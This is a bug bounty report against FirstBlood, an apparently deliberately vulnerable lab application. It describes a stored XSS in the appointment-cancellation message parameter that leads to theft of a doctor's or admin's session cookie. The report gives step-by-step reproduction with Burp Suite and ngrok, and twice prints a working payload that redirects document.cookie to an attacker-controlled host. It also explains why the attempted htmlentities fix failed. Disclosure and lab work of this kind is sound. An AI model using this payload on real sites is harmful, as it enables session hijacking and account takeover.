FirstBlood-#646[COLLAB] Stored XSS on Cancel appointment which leads to ATO
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-27, amec0e Level 3 reported:

Hi mate,

Using a previously disclosed report I found that when cancelling an appointment via the manageappointment.php endpoint, the message= parameter is still vulnerable to a Stored XSS when viewed in the endpoint /drpannel/cancelled.php.

Impact:

This allows a malicious user to leak a doctor/drAdmin drps cookie because of a missing cookie attribute httponly which can lead to a account takeover.

Steps to Reproduce:

  • Create an appointment and fill in all the details.
  • Once you have your appointment GUID copy this and Visit the endpoint /manageappointment.php
  • Paste your guid and click "Modify Appointment"
  • Start your Ngrok server and Turn Intercept on in burpsuite.
  • Click "Cancel Appointment" and Intercept the request.
  • Add the message parameter with the following payload while replacing the ngrokaddress with your ngrok address:
"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='ngrokaddress?cookie='%2bdocument.cookie">

  • Now login as a doctor/admin and visit the endpoint /drpanel/cancelled.php

  • Click the cancelled appointment to view the left message.

You will now be sent to our Ngrok address along with the doctor/admin drps cookie.

Best Regards,

Amec0e.

In Collaboration with thebinarybot

P2 High

Endpoint: /manageappointment.php

Parameter: message=

Payload: "><xss/id="1"/tabindex="1"/onfocusin="window.location.href='ngrokaddress?cookie='%2bdocument.cookie">


FirstBlood ID: 22
Vulnerability Type: Stored XSS

Whilst an attempt was made to fix the stored XSS vulnerability in managing an appointment, it actually introduced new issues such as when creating and editing and not just when cancelling the appointment. Making use of htmlentities() and relying on .value() in javascript to encode certain characters does not prevent XSS overall. The 'fix' to this issue also results in it being vulnerable to admins on cancelled appointments as well.